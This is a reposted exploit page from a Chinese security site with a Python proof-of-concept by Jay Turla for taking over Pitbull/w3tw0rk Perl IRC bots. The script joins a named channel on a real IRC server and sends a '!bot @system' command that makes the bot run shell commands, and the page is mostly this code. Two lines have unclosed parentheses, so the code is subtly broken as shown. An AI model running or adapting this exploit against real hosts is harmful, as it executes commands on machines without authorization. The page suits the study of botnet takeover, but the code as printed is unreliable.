首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
w3tw0rk / Pitbull Perl IRC Bot Remote Code Execution PoC Exploit
来源:@shipcod3 作者:Turla 发布时间:2015-04-07  
# thehunter.py
# Exploit Title: Pitbull / w3tw0rk Perl IRC Bot Remote Code Execution
# Author: Jay Turla ( @shipcod3 )
# Description: pitbull-w3tw0rk_hunter is POC exploit for Pitbull or w3tw0rk IRC Bot that takes over the owner of a bot which then allows Remote Code Execution.
  
import socket
import sys
  
def usage():
     print("USAGE: python thehunter.py nick \n")  
       
def main(argv):
      
    if len(argv) < 2:
        return usage()
  
    #irc server connection settings
    botnick = sys.argv[1] #admin payload for taking over the w3wt0rk bot
    server = "us.dal.net" #irc server
    channel = "#buhaypirata" #channel where the bot is located
  
    irc = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #defines the socket
    print "connecting to:"+server
    irc.connect((server, 6667)) #connects to the server
    irc.send("USER "+ botnick +" "+ botnick +" "+ botnick +" :I eat w3tw0rk bots!\n") #user authentication
    irc.send("NICK "+ botnick +"\n") #sets nick
    irc.send("JOIN "+ channel +"\n") #join the chan
    irc.send("PRIVMSG "+channel+" :!bot @system 'uname -a' \n") #send the payload to the bot
  
    while 1:    #puts it in a loop
        text=irc.recv(2040#receive the text
        print text   #print text to console
  
        if text.find('PING') != -1:                          #check if 'PING' is found
            irc.send('PONG ' + text.split() [1] + '\r\n') #returnes 'PONG' back to the server (prevents pinging out!)
        if text.find('!quit') != -1: #quit the Bot
            irc.send ("QUIT\r\n"
            sys.exit()
        if text.find('Linux') != -1:                         
            irc.send("PRIVMSG "+channel+" :The bot answers to "+botnick+" which allows command execution \r\n")
            irc.send ("QUIT\r\n")
            sys.exit()
  
if __name__ == "__main__":
    main(sys.argv)

 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·Webgate WESP SDK 1.2 ChangePas
·JBoss Seam 2 File Upload and E
·WebGate eDVR Manager 2.6.4 Aud
·Solarwinds Firewall Security M
·WebGate WinRDS 2.0.8 PlaySiteA
·Airties Air5650v3TT Remote Sta
·WebGate eDVR Manager 2.6.4 Sit
·Samba CVE-2015-0240 远程代码执
·WebGate eDVR Manager 2.6.4 Con
·Mac OS X rootpipe Local Privil
·Airties Air5650TT - Remote Sta
·Barracuda Firmware <= 5.0.0.01
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved